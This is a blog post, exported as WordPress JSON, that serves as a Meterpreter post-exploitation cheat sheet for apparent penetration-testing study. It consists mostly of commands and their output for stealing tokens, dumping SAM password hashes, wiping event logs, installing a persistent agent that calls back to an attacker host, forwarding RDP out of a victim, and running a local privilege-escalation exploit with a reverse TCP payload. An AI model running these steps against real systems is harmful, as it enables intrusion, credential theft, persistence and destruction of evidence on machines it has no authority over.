{"id":302,"date":"2021-04-25T19:09:49","date_gmt":"2021-04-25T19:09:49","guid":{"rendered":"https:\/\/sirensecurity.io\/blog\/?p=302"},"modified":"2021-07-15T03:03:13","modified_gmt":"2021-07-15T03:03:13","slug":"meterpreter","status":"publish","type":"post","link":"https:\/\/sirensecurity.io\/blog\/meterpreter\/","title":{"rendered":"Meterpreter."},"content":{"rendered":"\n<div class=\"wp-block-cover has-background-dim\"><img loading=\"lazy\" decoding=\"async\" width=\"5184\" height=\"3456\" class=\"wp-block-cover__image-background wp-image-303\" alt=\"\" src=\"https:\/\/sirensecurity.io\/blog\/wp-content\/uploads\/2021\/04\/8-1.jpg\" data-object-fit=\"cover\"\/><div class=\"wp-block-cover__inner-container is-layout-flow wp-block-cover-is-layout-flow\">\n<p class=\"has-vivid-red-color has-text-color\">S1REN<\/p>\n\n\n\n<p class=\"has-text-align-center has-large-font-size\"><br><br>Yes, It's a better shell.<\/p>\n<\/div><\/div>\n\n\n\n<p><img loading=\"lazy\" decoding=\"async\" width=\"350\" height=\"197\" class=\"wp-image-304\" style=\"width: 350px;\" src=\"https:\/\/sirensecurity.io\/blog\/wp-content\/uploads\/2021\/04\/pur.gif\" alt=\"\"><br><br><strong>[<\/strong> + <strong>]<\/strong> <strong>Meterpreter Basics.<\/strong><br><a rel=\"noreferrer noopener\" href=\"https:\/\/www.offensive-security.com\/metasploit-unleashed\/meterpreter-basics\/\" target=\"_blank\">https:\/\/www.offensive-security.com\/metasploit-unleashed\/meterpreter-basics\/<\/a><br><br><strong>[<\/strong> + <strong>]<\/strong> <strong>Setting up a handler.<\/strong><br>use exploit\/multi\/handler<br>show payloads<br>Find your meterpreter payload to listen for.<br><br><strong>[<\/strong> + <strong>]<\/strong> <strong>Change directory on both victim and attacking machines.<\/strong><br><strong>--&gt;<\/strong> Local Change Directory (Attacking Machine):<br>lcd \/localDir\/<br><strong>--&gt;<\/strong> Change directory in your shell (Vitim Machine):<br>cd<br><br><strong>[<\/strong> + <strong>]<\/strong> <strong>Token Impersonation:<\/strong><br><a rel=\"noreferrer noopener\" href=\"https:\/\/www.offensive-security.com\/metasploit-unleashed\/fun-incognito\/\" target=\"_blank\">https:\/\/www.offensive-security.com\/metasploit-unleashed\/fun-incognito\/<\/a><br><\/p>\n\n\n\n<pre id=\"pre-msfu\" class=\"wp-block-preformatted\"><strong>meterpreter&gt;<\/strong> <strong>use incognito<\/strong>\nLoading extension incognito...success.\n<strong>meterpreter&gt;<\/strong> <strong>help<\/strong>\n\nIncognito Commands\n==================\n\n    Command              Description                                             \n    -------              -----------                                             \n    add_group_user       Attempt to add a user to a global group with all tokens \n    add_localgroup_user  Attempt to add a user to a local group with all tokens  \n    add_user             Attempt to add a user with all tokens                   \n    impersonate_token    Impersonate specified token                             \n    list_tokens          List tokens available under current user context        \n    snarf_hashes         Snarf challenge\/response hashes for every token         \n\n<strong>meterpreter&gt;<\/strong><\/pre>\n\n\n\n<p>\"What we will need to do first is identify if there are any valid tokens on this system. Depending on the level of access that your exploit provides, you are limited in the tokens you are able to view. When it comes to token stealing, SYSTEM is king. As SYSTEM, you are allowed to see and use any token on the box.\"<br><br><strong>--&gt;<\/strong> Pro Tip - Administrators don\u2019t have access to all the tokens either, but they do have the ability to migrate to SYSTEM processes, effectively making them SYSTEM and able to see all the tokens available.<\/p>\n\n\n\n<pre id=\"pre-msfu\" class=\"wp-block-preformatted\"><strong>meterpreter&gt;<\/strong> <strong>list_tokens<\/strong> <strong>-u<\/strong>\n\nDelegation Tokens Available\n========================================\nNT AUTHORITY\\LOCAL SERVICE\nNT AUTHORITY\\NETWORK SERVICE\nNT AUTHORITY\\SYSTEM\n<strong>SNEAKS.IN<\/strong>\\<strong>Administrator<\/strong>\n\n<strong>Impersonation Tokens Available<\/strong>\n========================================\nNT AUTHORITY\\ANONYMOUS LOGON\n\n<strong>meterpreter&gt;<\/strong><\/pre>\n\n\n\n<pre id=\"pre-msfu\" class=\"wp-block-preformatted\"><strong>meterpreter&gt;<\/strong> impersonate_token <strong>SNEAKS.IN<\/strong>\\\\<strong>Administrator<\/strong>\n[+] Delegation token available\n[+] Successfully impersonated user <strong>SNEAKS.IN<\/strong>\\<strong>Administrator<\/strong>\n<strong>meterpreter&gt;<\/strong> <strong>getuid<\/strong>\nServer username: <strong>SNEAKS.IN<\/strong>\\Administrator\n<strong>meterpreter&gt;<\/strong><\/pre>\n\n\n\n<pre id=\"pre-msfu\" class=\"wp-block-preformatted\"><strong>meterpreter&gt;<\/strong> <strong>shell<\/strong>\nProcess 2804 created.\nChannel 1 created.\nMicrosoft Windows XP [Version 5.1.2600]\n(C) Copyright 1985-2001 Microsoft Corp.\n\nC:\\WINDOWS\\system32&gt; <strong>whoami<\/strong>\nwhoami\n<strong>SNEAKS.IN<\/strong>\\<strong>administrator<\/strong>\n\nC:\\WINDOWS\\system32&gt;<\/pre>\n\n\n\n<p>Done!<br><br><br><strong>[<\/strong> + <strong>]<\/strong> <strong>Is it possible for me to run an exploit through meterpreter as a background job?<\/strong><br><strong>--&gt;<\/strong> Yup.<br><strong>meterpreter&gt;<\/strong> run -j<br>[*] Exploit running as background job.<a rel=\"noreferrer noopener\" href=\"https:\/\/www.offensive-security.com\/metasploit-unleashed\/fun-incognito\/\" target=\"_blank\"><br><\/a><br><br><strong>[<\/strong> + <strong>]<\/strong> <strong>Lets clear our tracks.<\/strong><\/p>\n\n\n\n<pre id=\"pre-msfu\" class=\"wp-block-preformatted\"><strong>meterpreter&gt;<\/strong> <strong>clearev<\/strong>\n[*] Wiping 97 records from Application...\n[*] Wiping 415 records from System...\n[*] Wiping 0 records from Security...\n<strong>meterpreter&gt;<\/strong><\/pre>\n\n\n\n<p><em>Nice.<\/em><br><br><strong>[<\/strong> + <strong>]<\/strong> <strong>File Transfer:<\/strong><\/p>\n\n\n\n<pre id=\"pre-msfu\" class=\"wp-block-preformatted\"><strong>meterpreter&gt;<\/strong> <strong>download<\/strong> C:\\\\boot.ini\n[*] downloading: C:\\boot.ini -&gt; C:\\boot.ini\n[*] downloaded : C:\\boot.ini -&gt; C:\\boot.ini\/boot.ini\n<strong>meterpreter&gt;<\/strong><\/pre>\n\n\n\n<p>Similarly, we can perform uploads to the target system with the 'upload' command. This will expect an absolute path on your local file system to the file you wish you transfer over.<br><br>+ <strong>How can I execute something on the target machine?<\/strong><\/p>\n\n\n\n<pre id=\"pre-msfu\" class=\"wp-block-preformatted\"><strong>meterpreter&gt;<\/strong> <strong>execute<\/strong> -f <strong>cmd<\/strong>.<strong>exe<\/strong> -i -H\nProcess 38320 created.\nChannel 1 created.\nMicrosoft Windows XP [Version 5.1.2600]\n(C) Copyright 1985-2001 Microsoft Corp.\n\n<strong>C:\\WINDOWS\\system32&gt;<\/strong><\/pre>\n\n\n\n<p>In this case, we execute cmd.exe on the target machine and specify that we want to interact with the process.<br><br><strong>[<\/strong> + <strong>]<\/strong> <strong>Lets dump some hashes from the SAM Database.<\/strong><\/p>\n\n\n\n<pre id=\"pre-msfu\" class=\"wp-block-preformatted\"><strong>meterpreter&gt;<\/strong> run post\/windows\/gather\/hashdump \n\n[*] Obtaining the boot key...\n[*] Calculating the hboot key using SYSKEY 8528c78df7ff55040196a9b670f114b6...\n[*] Obtaining the user list and keys...\n[*] Decrypting user keys...\n[*] Dumping password hashes...\n\nAdministrator:500:b512c1f3a8c0e7241aa818381e4e751b:1891f4775f676d4d10c09c1225a5c0a3:::\ndook:1004:81cbcef8a9af93bbaad3b435b51404ee:231cbdae13ed5abd30ac94ddeb3cf52d:::\nGuest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::\nHelpAssistant:1000:9cac9c4683494017a0f5cad22110dbdc:31dcf7f8f9a6b5f69b9fd01502e6261e:::\nSUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:36547c5a8a3de7d422a026e51097ccc9:::\nvictim:1003:81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d:::\n<strong>meterpreter&gt;<\/strong><\/pre>\n\n\n\n<p>Or you can just type <code>hashdump<\/code>...<br><br><br><strong>[<\/strong> + <strong>]<\/strong> <strong>Migrate to a more stable process.<\/strong><\/p>\n\n\n\n<pre id=\"pre-msfu\" class=\"wp-block-preformatted\"><strong>meterpreter&gt;<\/strong> run post\/windows\/manage\/<strong>migrate <\/strong>\n\n[*] Running module against V-MAC-XP\n[*] Current server process: svchost.exe (1076)\n[*] Migrating to explorer.exe...\n[*] Migrating into process ID 816\n[*] New server process: Explorer.EXE (816)\n<strong>meterpreter&gt;<\/strong><\/pre>\n\n\n\n<p id=\"meterpreter\">You can also specify to migrate to some PID. For example - use cmd.exe to open notepad and then grab the PID to migrate to it with: <code><strong>migrate &lt;PID&gt;<\/strong><\/code><br><br><strong>[<\/strong> + <strong>]<\/strong> <strong>Lets Install a persistent service.<\/strong><\/p>\n\n\n\n<pre id=\"pre-msfu\" class=\"wp-block-preformatted\"><strong>meterpreter&gt;<\/strong> run persistence -U -i 5 -p 443 -r &lt;LHOST&gt;\n[*] Creating a persistent agent: LHOST=LHOST LPORT=443 (interval=5 onboot=true)\n[*] Persistent agent script is 613976 bytes long\n[*] Uploaded the persistent agent to C:\\WINDOWS\\TEMP\\yyPSPPEn.vbs\n[*] Agent executed with PID 492\n[*] Installing into autorun as HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\YeYHdlEDygViABr\n[*] Installed into autorun as HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\YeYHdlEDygViABr\n[*] For cleanup use command: run multi_console_command -rc \/root\/.msf4\/logs\/persistence\/XEN-XP-SP2-BARE_20100821.2602\/clean_up__20100821.2602.rc\n<strong>meterpreter&gt;<\/strong><\/pre>\n\n\n\n<p>\"We will configure our persistent Meterpreter session to wait until a user logs on to the remote system and try to connect back to our listener every 5 seconds at IP address &lt;LHOST&gt; on port 443.\"<br><a rel=\"noreferrer noopener\" href=\"https:\/\/www.offensive-security.com\/metasploit-unleashed\/meterpreter-service\/\" target=\"_blank\">https:\/\/www.offensive-security.com\/metasploit-unleashed\/meterpreter-service\/<\/a><br><br><br><strong>[<\/strong> + <strong>]<\/strong> <strong>Can we forward out a local port with meterpreter to 0.0.0.0 on our attacking machine?<\/strong><br><strong>--&gt;<\/strong> Yup.<\/p>\n\n\n\n<pre id=\"pre-msfu\" class=\"wp-block-preformatted\"><strong>meterpreter&gt;<\/strong> <strong>portfwd -h<\/strong>\nUsage: portfwd [-h] [add | delete | list | flush] [args]\nOPTIONS:\n     -L &gt;opt&gt;  The local host to listen on (optional).\n     -h        Help banner.\n     -l &gt;opt&gt;  The local port to listen on.\n     -p &gt;opt&gt;  The remote port to connect on.\n     -r &gt;opt&gt;  The remote host to connect on.\n<strong>meterpreter&gt;<\/strong><\/pre>\n\n\n\n<p><strong>[<\/strong> + <strong>]<\/strong> Lets forward out the RDP Service on the Victim Machine! For fun?<br><a rel=\"noreferrer noopener\" href=\"https:\/\/www.offensive-security.com\/metasploit-unleashed\/portfwd\/\" target=\"_blank\">https:\/\/www.offensive-security.com\/metasploit-unleashed\/portfwd\/<\/a><\/p>\n\n\n\n<pre id=\"pre-msfu\" class=\"wp-block-preformatted\"><strong>meterpreter&gt;<\/strong> portfwd add \u2013l 3389 \u2013p 3389 \u2013r &lt;TARGET IP&gt;\n[*] Local TCP relay created: 0.0.0.0:3389 &gt;-&gt; &lt;TARGET IP&gt;:3389\n<strong>meterpreter&gt;<\/strong> <\/pre>\n\n\n\n<p><strong>--&gt; <\/strong>Then, on your attacking machine:<br>rdesktop 0.0.0.0<br><br><br>+ <strong>Privilege Escalation with Meterpreter?<\/strong><br><a rel=\"noreferrer noopener\" href=\"https:\/\/www.offensive-security.com\/metasploit-unleashed\/privilege-escalation\/\" target=\"_blank\">https:\/\/www.offensive-security.com\/metasploit-unleashed\/privilege-escalation\/<\/a><br><br><strong>--&gt;<\/strong> priv<\/p>\n\n\n\n<pre id=\"pre-msfu\" class=\"wp-block-preformatted\"><strong>meterpreter&gt;<\/strong> use<strong> priv<\/strong>\nLoading extension priv...success.\n<strong>meterpreter&gt;<\/strong><\/pre>\n\n\n\n<p><br><strong>--&gt;<\/strong> getsystem<\/p>\n\n\n\n<pre id=\"pre-msfu\" class=\"wp-block-preformatted\"><strong>meterpreter&gt;<\/strong> <strong>getsystem<\/strong>\n...got system (via technique 1).\nmeterpreter &gt; getuid\nServer username: <strong>NT AUTHORITY\\SYSTEM<\/strong>\n<strong>meterpreter&gt;<\/strong><\/pre>\n\n\n\n<p><br><br><strong>[<\/strong> + <strong>]<\/strong> <strong>Local Exploits<\/strong><\/p>\n\n\n\n<pre id=\"pre-msfu\" class=\"wp-block-preformatted\"><strong>meterpreter&gt;<\/strong> <strong>background<\/strong>\n[*] Backgrounding session 1...\n<strong>msf exploit(ms10_002_aurora)&gt;<\/strong> use exploit\/windows\/local\/\n...snip...\nuse exploit\/windows\/local\/bypassuac\nuse exploit\/windows\/local\/bypassuac_injection\n...snip...\nuse exploit\/windows\/local\/ms10_015_kitrap0d\nuse exploit\/windows\/local\/ms10_092_schelevator\nuse exploit\/windows\/local\/ms11_080_afdjoinleaf\nuse exploit\/windows\/local\/ms13_005_hwnd_broadcast\nuse exploit\/windows\/local\/ms13_081_track_popup_menu\n...snip...\n<strong>msf exploit(ms10_002_aurora)&gt;<\/strong><\/pre>\n\n\n\n<p><em><strong>Example:<\/strong><\/em><\/p>\n\n\n\n<pre id=\"pre-msfu\" class=\"wp-block-preformatted\"><strong>msf exploit(ms10_002_aurora)&gt;<\/strong> use <strong>exploit<\/strong>\/<strong>windows<\/strong>\/<strong>local<\/strong>\/<strong>ms10_015_kitrap0d<\/strong>\n<strong>msf exploit(ms10_015_kitrap0d)&gt;<\/strong> <strong>set SESSION 1<\/strong>\n<strong>msf exploit(ms10_015_kitrap0d)&gt;<\/strong> set PAYLOAD windows\/meterpreter\/reverse_tcp\n<strong>msf exploit(ms10_015_kitrap0d)&gt;<\/strong> set LHOST 192.168.1.5\n<strong>msf exploit(ms10_015_kitrap0d)&gt;<\/strong> set LPORT 4443\n<strong>msf exploit(ms10_015_kitrap0d)&gt;<\/strong> show <strong>options<\/strong>\n\nModule options (exploit\/windows\/local\/ms10_015_kitrap0d):\n\n   Name     Current Setting  Required  Description\n   ----     ---------------  --------  -----------\n   SESSION  1                yes       The session to run this module on.\n\n\nPayload options (windows\/meterpreter\/reverse_tcp):\n\n   Name      Current Setting  Required  Description\n   ----      ---------------  --------  -----------\n   EXITFUNC  process          yes       Exit technique (accepted: seh, thread, process, none)\n   LHOST     192.168.1.5      yes       The listen address\n   LPORT     4443             yes       The listen port\n\n\nExploit target:\n\n   Id  Name\n   --  ----\n   0   Windows 2K SP4 - Windows 7 (x86)\n\n\nmsf exploit(ms10_015_kitrap0d) &gt; exploit\n\n[*]  Started reverse handler on 192.168.1.161:4443 \n[*]  Launching notepad to host the exploit...\n[+]  Process 4048 launched.\n[*]  Reflectively injecting the exploit DLL into 4048...\n[*]  Injecting exploit into 4048 ...\n[*]  Exploit injected. Injecting payload into 4048...\n[*]  Payload injected. Executing exploit...\n[+]  Exploit finished, wait for (hopefully privileged) payload execution to complete.\n[*]  Sending stage (769024 bytes) to 192.168.1.71\n[*]  Meterpreter session 2 opened (192.168.1.161:4443 -&gt; 192.168.1.71:49204) at 2014-03-11 11:14:00 -0400\n\n<strong>meterpreter&gt;<\/strong> <strong>getuid<\/strong>\nServer username: <strong>NT AUTHORITY\\SYSTEM<\/strong>\n<strong>meterpreter&gt;<\/strong><\/pre>\n\n\n\n<p><br><em>Nice.<\/em><br><br><br><strong>[<\/strong> + <strong>]<\/strong> <strong>Windows \/ Linux Post Modules<\/strong> (<em>Meterpreter Enumeration<\/em>)<br><a rel=\"noreferrer noopener\" href=\"https:\/\/www.offensive-security.com\/metasploit-unleashed\/post-module-reference\/\" target=\"_blank\">https:\/\/www.offensive-security.com\/metasploit-unleashed\/post-module-reference\/<\/a><br><br><strong>[<\/strong> + <strong>]<\/strong> <strong>Not gonna lie, just check this out: for Windows Post:<\/strong><br><a rel=\"noreferrer noopener\" href=\"https:\/\/www.offensive-security.com\/metasploit-unleashed\/windows-post-gather-modules\/\" target=\"_blank\">https:\/\/www.offensive-security.com\/metasploit-unleashed\/windows-post-gather-modules\/<\/a><br><br><strong>[<\/strong> + <strong>]<\/strong> <strong>Same applies for Linux Post:<\/strong><br><a rel=\"noreferrer noopener\" href=\"https:\/\/www.offensive-security.com\/metasploit-unleashed\/linux-post-gather-modules\/\" target=\"_blank\">https:\/\/www.offensive-security.com\/metasploit-unleashed\/linux-post-gather-modules\/<\/a><br><br><strong>[<\/strong> + <strong>]<\/strong> <strong>Interested in Powershell and Meterpreter?<\/strong><br><a rel=\"noreferrer noopener\" href=\"https:\/\/www.trustedsec.com\/blog\/interactive-powershell-sessions-within-meterpreter\/\" target=\"_blank\">https:\/\/www.trustedsec.com\/blog\/interactive-powershell-sessions-within-meterpreter\/<\/a><br><br><em>tada<\/em>!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>[ + ] Meterpreter Basics.https:\/\/www.offensive-security.com\/metasploit-unleashed\/meterpreter-basics\/ [ + ] Setting up a handler.use exploit\/multi\/handlershow payloadsFind your meterpreter payload to listen for. [ + ] Change directory on both victim and attacking machines.--&gt; Local Change Directory (Attacking Machine):lcd \/localDir\/--&gt; Change directory in your shell (Vitim Machine):cd [ + ] Token Impersonation:https:\/\/www.offensive-security.com\/metasploit-unleashed\/fun-incognito\/ meterpreter&gt; use incognito Loading extension incognito...success. [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":303,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[50,46,51,48,52,4,47,34,45,49],"class_list":["post-302","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-s1ren","tag-metasploit","tag-meterpreter","tag-msf","tag-persistence","tag-post-exploitation","tag-s1ren","tag-service","tag-siren","tag-siren-security","tag-tutorial"],"_links":{"self":[{"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/posts\/302","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/comments?post=302"}],"version-history":[{"count":5,"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/posts\/302\/revisions"}],"predecessor-version":[{"id":415,"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/posts\/302\/revisions\/415"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/media\/303"}],"wp:attachment":[{"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/media?parent=302"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/categories?post=302"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/tags?post=302"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}